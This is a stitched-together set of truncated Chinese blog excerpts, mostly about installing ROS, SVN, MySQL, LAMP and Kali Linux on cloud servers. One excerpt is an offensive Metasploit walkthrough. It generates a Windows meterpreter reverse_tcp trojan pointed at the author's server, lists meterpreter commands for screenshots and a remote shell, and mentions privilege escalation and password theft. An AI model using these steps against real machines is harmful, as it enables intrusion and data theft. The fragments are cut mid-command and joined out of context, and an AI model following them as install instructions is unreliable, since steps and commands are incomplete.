Ubuntu16.04 安装ROS #1 环境 Ubuntu 16.04 #2 安装 配置ROS镜像源 二选一 # 官方镜像 sudo sh -c 'echo "deb http://packages.ros.org.../ros/ubuntu $(lsb_release -sc) main" > /etc/apt/sources.list.d/ros-latest.list' # 中科大镜像 sudo sh -c '..../etc/lsb-release && echo "deb http://mirrors.ustc.edu.cn/ros/ubuntu/ $DISTRIB_CODENAME main" > /etc/apt...ha.pool.sks-keyservers.net:80 --recv-key 421C365BD9FF1F717815A3895523BAEEB01FA116 更新package sudo apt-get update 安装...ROS kinetic完整版 sudo apt-get install ros-kinetic-desktop-full 漫长等待… 配置环境变量 source /opt/ros/kinetic/
总结一下这两天安装ROS的过程。...我使用的是下面的命令 sudo nano /etc/apt/sources.list 保存之后，执行 sudo apt-get update sudo apt-get upgrade 3 按照指导安装...4.2 设置软件源的错误 我曾在sources.list里面将 http://packages.ros.org/ros/ubuntu $(lsb_release Release 改成了 http...4.3 按照官网教程安装时出现的错误 执行到Set up your keys这一步的时候，出错 gpg: requesting key B01FA116 from hkp server ha.pool.sks-keyservers.net...sudo apt-get install linux-image-generic-hwe-16.04 但是还是没能解决上面Depends的错误，于是我照[4]中的办法来做，同时又按照[5]中的办法手动安装缺失的依赖包
安装SVN 服务端 1、安装Subversion （Subversion 是一个版本控制系统，相对于的 RCS 、 CVS ，采用了分支管理系统，它的设计目标就是取代 CVS 。）...yum 命令安装SVN : yum insatll -y subversion 2、创建SVN 版本库 2.1 创建项目版本库 ：mkdir -p /data/svn/myproject 2.2 配置SVN...myproject /data/workspace/myproject –username root –password 123456 –force –no-auth-cache 3.3提交文件到svn服务器...test.txt -m ‘test’ 3.4提交成功后，通过如下命令从本地删除文件 cd /data/workspace/myproject rm -rf test.txt 3.5 删除后通过svn服务器恢复
image.png 目录 第一篇:ROS之初识机器人操作系统[一] 第二篇:ROS之Ubuntu 18.04下安装ROS[二] 前面的话 工欲善其事，必先利其器。...废话不多说,开始安装ROS之旅.O(∩_∩)O 本次安装的是ROS Melodic Morenia版本. image.png 我的系统是Ubuntu 18.04....安装方式有多种,本次选择最全的安装方式: $ sudo apt install ros-melodic-desktop-full 不同的安装方式参考[官网]((http://wiki.ros.org/...在使用ROS之前，需要初始化ROSDEP。Rosdep使您能够轻松地为要编译的源代码安装系统依赖项，并且需要在ROS中运行一些核心组件。....O(∩_∩)O 参考 ROS学习历程（一）———— ros安装 Ubuntu install of ROS Melodic
（安装ros最好大于100G），可根据需要划分，划分后发现我们的硬盘空间变小了。...四、安装ROS 1.在安装ROS前需要在Ubuntu重设置一下软件更新的对话框 1）Ubuntu软件 a.可从互联网下载：mian、universe、restricted、multiverse和源代码前面打勾...（都要打勾） b.下载服务器：下载服务器站点可以随便选，建议选择国内的，我选择的是http://mirrors.tuna.tsinghua.edu.cn，现在有阿里云的境外节点建议使用；以后更改需要用户密码验证...这里我们可以参考官方安装教程，尽量复制代码，不要输入 容易出现输入错误 ros indigo 安装源码如下 1. sudo sh -c ‘echo “deb http://packages.ros.org...~/.bashrc 9. sudo apt-get install python-rosinstall 下图解释安装步骤和代码作用 五、测试ros 一般安装好ros后 我们需要测试一下是否安装完整
ros教程：ros详细安装步骤（添加源、下载ROS及环境配置） 文章目录 前言 一、版本选择 二、开始安装 2.1 软件中心配置 2.2 添加源（注） 2.3 安装 2.4 配置ROS环境到系统 三、验证...ROS的安装当然是我们开始动手的第一步了，这里我们使用的操作系统是ubuntu16.04，因为ROS在ubuntu上的支持是最好的。...$ sudo apt-get update 然后我们就可以安装 ROS 啦，但是问题又出现了，ROS kinetic 也有很多版本，这里选择是是安装桌面完整版。...OK~，现在就当大家安装完了，而且一切顺利，没有BUG出现… 安装完成后，可以用下面的命令来查看可使用的包： $ apt-cache search ros-kinetic 别急，到现在虽然基本是安装完了...三、验证ROS 在ROS环境安装好了以后，相信你一定迫不及待的要体验一下ROS系统了吧！
1.安装VS 2017 微软家的开发离不开VS，所以大家自行安装就好了。...： 比如，安装git可以这样： choco install git -y 3.安装ROS 与Ubuntu安装ROS类似，都是要添加一个软件源，然后执行安装命令，如下： choco source add...-n=ros-win -s="https://roswin.azurewebsites.net/api/v2" --priority=1 choco upgrade ros-melodic-desktop...-y 4.运行ROS例程 在Windows安装好ROS后，需要先打开VS命令行： 然后进入ros的安装目录： 生成环境变量后，才能执行相关操作。...是不是觉得会觉得很麻烦，每次都要这样重复操作，不怕，bat脚本帮你解决这个问题： 创建一个ros.bat的文件，输入： @echo off C: cd C:\opt\ros\melodic\x64
#1 安装 Ubuntu 16 & Ubuntu 18 Ros2 Dashing --- Ubuntu 20 Ros2 Foxy 下载密钥 sudo apt install curl gnupg2 -...// 国外 curl -s https://raw.githubusercontent.com/ros/rosdistro/master/ros.asc | sudo apt-key add - 修改镜像源.../ros2-latest.list' sudo apt update 安装 // Ubuntu 16 & Ubuntu 18 sudo apt install ros-dashing-desktop...-y // Ubuntu 20 sudo apt install ros-foxy-desktop -y Ros2相关工具 sudo apt install python3-pip -y sudo.../en/dashing https://docs.ros.org/en/foxy https://design.ros2.org
前言 在网上可以搜索到 2 种在腾讯云服务器上安装kali系统的方法： 第一种方法： 通过挂载云硬盘到云服务器上，将kali镜像刻录到挂载的云硬盘中，利用VNC可视化安装kali系统；查看详情 第二种方法...0x01 安装前准备一个 kali linux 镜像：点击下载 一个腾讯云服务器：点击访问 一个 virtualbox 虚拟机软件：点击下载 0x02 安装 virtualbox 软件 双击运行 virtualbox...在virtualbox安装kali虚拟机 首先确定腾讯云的镜像格式要求如下 本文接下来所要演示的镜像格式为：RAW 格式 打开virtualbox，新建虚拟电脑，按要求填写，点击下一步 虚拟机内存大小根据你的云服务器的内存大小而定...系统 不出意外的话就可以看到kali的界面了 到此为止，kali成功部署到腾讯云服务器上了。...而云服务器的硬盘一般都是有50G的大小，安装完kali系统只用了10G，我们需要将剩余近40G空间全分配给kali。 1.
1. pcl_ros介绍 pcl_ros是一个用于将PCL（点云库）与ROS（机器人操作系统）集成的软件包。它提供了用于在ROS环境中处理和可视化点云数据的工具和功能。...您可以使用这些功能来将点云数据从一个坐标系转换到另一个坐标系，以适应不同传感器或机器人系统的需求。 6.ROS参数服务器：pcl_ros允许您使用ROS参数服务器来配置和调整点云处理的参数。...您可以使用参数服务器来设置滤波器参数、特征提取参数等。 通过将PCL和ROS相结合，pcl_ros使得在ROS环境中处理和操作点云数据更加方便和高效。...它提供了丰富的功能和工具，使得点云数据的获取、处理和可视化变得更加容易。 2. 环境安装与配置 确认已经安装了ROS和PCL。...# pcl_ros包安装 sudo apt install ros-noetic-pcl-ros rosrun pcl_ros xxx # 启动节点 # 默认包含以下节点 bag_to_pcd convert_pcd_to_image
前言 今天关网站只要是想要在我的服务器上装kali系统，可惜的是轻量应用服务器好像不支持自定义系统镜像，但云服务器是可以的。...准备工作 云服务器 kali linux镜像 点击下载 virtualbox虚拟机软件 点击下载 安装virtualbox软件 运行virtualbox软件包，无脑下一步就行了。...\VBoxManage clonehd -format RAW kali.qcow kali.ram 待100%时，在virtualbox软件的安装目录找到一个.ram文件 打卡腾讯云的控制台...，新建一个对象存储桶 点击新建的对象存储桶，点击上传文件，上传.ram文件 完成后点击复制对象地址 来到云服务器控制台，点击镜像，然后导入镜像 然后就是静待镜像导入完毕了 因为我的是轻量应用服务器...，所以无法安装kali系统 详情可以看原作者，本文主要用于加深印象而写 云服务器安装kali系统 点击实例，选择云服务，点击更多，点击重置系统 然后点击自定义镜像，选择刚制作好的kali镜像，设置好密码
操作系统:Centos 7.4 MySQL版本: MySQL 5.7 登录服务器 1、下载数据库 cd usr/local/src/ wget https://repo.mysql.com//mysql57...-community-release-el7-8.noarch.rpm 2、安装mysql yum -y install mysql57-community-release-el7-8.noarch.rpm...3、查看mysql安装情况 yum repolist enabled | grep mysql.* 4、查看mysql server yum install mysql-community-server
Kafka 是主流的消息流系统，其中的概念还是比较多的，下面通过图示的方式来梳理一下 Kafka 的核心概念，以便在我们的头脑中有一个清晰的认识。
前言 在网上可以搜索到 2 种在腾讯云服务器上安装kali系统的方法： 第一种方法： 通过挂载云硬盘到云服务器上，将kali镜像刻录到挂载的云硬盘中，利用VNC可视化安装kali系统；查看详情 第二种方法...0x01 安装前准备 一个 kali linux 镜像：点击下载 一个腾讯云服务器：点击访问 一个 virtualbox 虚拟机软件：点击下载 0x02 安装 virtualbox 软件 双击运行 virtualbox...在virtualbox安装kali虚拟机 首先确定腾讯云的镜像格式要求如下 本文接下来所要演示的镜像格式为：RAW 格式 打开virtualbox，新建虚拟电脑，按要求填写，点击下一步 虚拟机内存大小根据你的云服务器的内存大小而定...系统 不出意外的话就可以看到kali的界面了 到此为止，kali成功部署到腾讯云服务器上了。...而云服务器的硬盘一般都是有50G的大小，安装完kali系统只用了10G，我们需要将剩余近40G空间全分配给kali。 1.
在校园网环境下，由于各种限制，会导致本机虚拟机网络出现各种问题，解决起来非常繁琐，为此可以在服务器上安装MSF 1....安装MFS 用xshell等工具连接你的服务器，并使用ifconfig查看你的ip地址并记下来 接下来的命令 // 切换目录 cd /home // 获取MSF安装脚本 curl https://raw.githubusercontent.com...安装postgresql 因为MSF需要记录一些数据，依赖于postgresql，因此还需要安装 同样在当前home目录下 // 安装postgresql apt-get install postgresql...MSF实战 // 生成小马文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST=服务器IP LPORT=服务器监听端口 -f exe -o test.exe...screenshot // 进入目标主机的Shell shell // 退出shell exit // 更多内容可以通过帮助查看 help 后续就是提权、抓密码、横向渗透的事情了，可以自由发挥 更多问题可以联系我：行云博客
Linux安装phpmyadmin 1、LAMP环境部署 a、镜像部署LAMP 腾讯云服务器在购买界面---镜像---选择镜像市场 b、手动搭建LAMP （centos7.6） 可以通过网上下载一键安装包...、也可以单独安装部署linux\apache\mariadb\php软件 一键安装包可以通过百度网盘下载： 链接：https://pan.baidu.com/s/1qIbiV9JJ5Y4FOyCCoN8wAQ...提取码：d28n 安装过程： 安装Apache：yum -y install httpd;systemctl enable httpd; systemctl start httpd 安装mariadb...：腾讯云服务器默认安装了mariadb、为了避免冲突需要先卸载在进行安装 rpm -qa | grep -i mariadb、rpm -e --nodeps 包名、配置mariadb yum源 yum...-y install mariadb-server maraidb-client; ;systemctl enable mariadb ;systemctl start mariadb 安装php：
第一步，我们首先先购买云服务器。现在互联网提供商很多。大企业云服务可以免费体验学习！售后有保障！ 比如:腾讯云… …………选择归属地提示………… 国内:我国规定使用国内必须要备案！...---------------------------- …………选择系统镜像………… 登入:云服务器，<远远连接﹥ 三种方式，远程服务器登入管理 ❶Workbench远程连接 通过网页可以对ECS实例进行远程控制...该功能通过 云助手 的命令执行功能实现，如果您的实例还没有安装或激活云助手客户端，请先 安装或者激活 。...小提示:如果购买时选择系统镜像/应用镜像:宝塔 Linux 面板7.9.3购买成功后无需要再次安装宝塔！ 安装宝塔面板 云服务器终端登录到了您的Linux服务器中，接下来开始安装宝塔面板。...，如图 下面是安装成功后的画面，当您看到红色框框中有以当前服务器安装的宝塔面板的登录资料，恭喜您，您已安装成功。
第一种方法：ROS一键安装 链接教程 : 玩着游戏听着歌，就把ROS装好了！一行代码搞定系列！...| bash 第二种方法： 使用rosdepc安装ROS 链接教程: ROS学习笔记（1）ROS安装（推荐使用鱼香ROS安装工具，少走很多弯路） //安装rosdepc curl http://fishros.com.../tools/install/rosdepc | bash 第三种方法：ROS常规安装(换源开热点挂梯子) 安装ubuntu20.04-ros-noetic 链接教程: 详细介绍如何在ubuntu20.04...中安装ROS系统，超快完成安装（最新版教程） 安装ubuntu18.04-ros-melodic 链接教程: Ubuntu18.04安装ROS Melodic（详细，亲测安装完成，有清晰的截图步骤）...安装ubuntu16.04-ros-kinetic 链接教程: 最新！！！
各大云厂商提供了种类繁多的系统镜像，但唯独这个小巧可爱的Alpine无人问津。不过也难不倒咱们这些具有折腾精神的极客们。 本教程支持且不限于阿里云、腾讯云、微软云、谷歌云。...i 's/GRUB_DEFAULT=0/GRUB_DEFAULT="Alpine Linux Minimal"/' /etc/default/grub update-grub reboot 2、执行安装脚本...，接下来就需要看你自己的啦~ modprobe ext4 setup-alpine 其他安装方法 官方ISO文件版 https://www.rehiy.com/post/307 第三方LiveCD版 https
Nao学习——ROS的安装 搬运自在Ubuntu中安装ROS Kinetic 1....、rviz、机器人通用库、2D/3D 模拟器、导航以及2D/3D感知 sudo apt-get install ros-kinetic-desktop-full 桌面版安装: 包含ROS、rqt、rviz...sudo apt-get install ros-kinetic-desktop * 基础版安装: (简版*) 包含ROS核心软件包、构建工具以及通信相关的程序库，无GUI工具。...sudo apt-get install ros-kinetic-ros-base 单个软件包安装: 你也可以安装某个指定的ROS软件包（使用软件包名称替换掉下面的PACKAGE）: sudo apt-get...rosdep可以方便在你需要编译某些源码的时候为其安装一些系统依赖，同时也是某些ROS核心功能组件所必需用到的工具。
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